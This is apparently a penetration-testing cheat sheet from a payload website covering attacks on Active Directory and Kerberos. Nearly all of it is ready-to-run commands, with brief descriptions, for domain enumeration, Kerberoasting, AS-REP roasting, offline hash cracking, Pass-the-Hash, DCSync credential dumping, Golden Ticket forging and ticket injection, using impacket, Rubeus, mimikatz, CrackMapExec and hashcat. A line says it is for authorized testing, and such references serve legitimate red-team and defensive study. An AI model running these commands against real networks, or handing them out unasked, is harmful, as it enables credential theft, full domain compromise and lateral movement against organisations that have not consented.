# Active Directory & Kerberos Cheat Sheet

> Active Directory enumeration, Kerberoasting, AS-REP roasting, Pass-the-Hash, DCSync, Golden Ticket, and lateral movement techniques.

Source: https://payloadplayground.com/cheatsheets/active-directory

For authorized security testing only.

## Enumeration

- `net user /domain` — List all domain users
- `net group "Domain Admins" /domain` — List Domain Admins group members
- `nltest /dclist:<domain>` — List domain controllers
- `Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,Enabled` — PowerShell: enumerate all AD users
- `Get-ADGroupMember "Domain Admins" | Select Name,SamAccountName` — PowerShell: Domain Admins members
- `ldapsearch -H ldap://<DC_IP> -x -b "dc=domain,dc=com" "(objectClass=user)" sAMAccountName` — LDAP enumeration of users
- `bloodhound-python -u user -p pass -d domain.com -c All --zip` — BloodHound collection

## Kerberoasting

- `python3 GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request` — impacket: get TGS hashes
- `Rubeus.exe kerberoast /outfile:hashes.txt` — Windows: Kerberoast all SPNs
- `hashcat -m 13100 -a 0 hashes.txt rockyou.txt` — Crack TGS-REP hashes offline

## AS-REP Roasting

- `python3 GetNPUsers.py domain.com/ -dc-ip <DC_IP> -usersfile users.txt -no-pass` — Get AS-REP for accounts with no pre-auth
- `Rubeus.exe asreproast /outfile:asrep_hashes.txt` — Windows AS-REP roasting
- `hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt` — Crack AS-REP hashes

## Pass-the-Hash

- `python3 psexec.py -hashes :NTLM_HASH domain/user@target` — impacket: PtH with psexec
- `crackmapexec smb target -u user -H NTLM_HASH` — CrackMapExec: PtH SMB
- `python3 wmiexec.py -hashes :NTLM_HASH domain/user@target` — impacket: PtH WMI exec

## DCSync

- `python3 secretsdump.py domain/user:pass@<DC_IP>` — Dump all domain hashes
- `mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt` — DCSync for KRBTGT hash

## Golden Ticket

- `mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:<SID> /krbtgt:<NTLM> /ptt` — Create + inject golden ticket
- `mimikatz # kerberos::ptt ticket.kirbi` — Inject existing ticket

## Pass-the-Ticket

- `Rubeus.exe ptt /ticket:<base64_ticket>` — Inject ticket into current session
- `python3 getST.py -spn cifs/<target> -impersonate Administrator domain.com/user:pass` — Get service ticket

## Related

- [Active Directory generator](https://payloadplayground.com/generators/active-directory)
- [Linux Privilege Escalation Cheat Sheet](https://payloadplayground.com/cheatsheets/linux-privilege-escalation.md)
- [Windows Privilege Escalation Cheat Sheet](https://payloadplayground.com/cheatsheets/windows-privilege-escalation.md)
- [Post-Exploitation Cheat Sheet](https://payloadplayground.com/cheatsheets/post-exploitation.md)
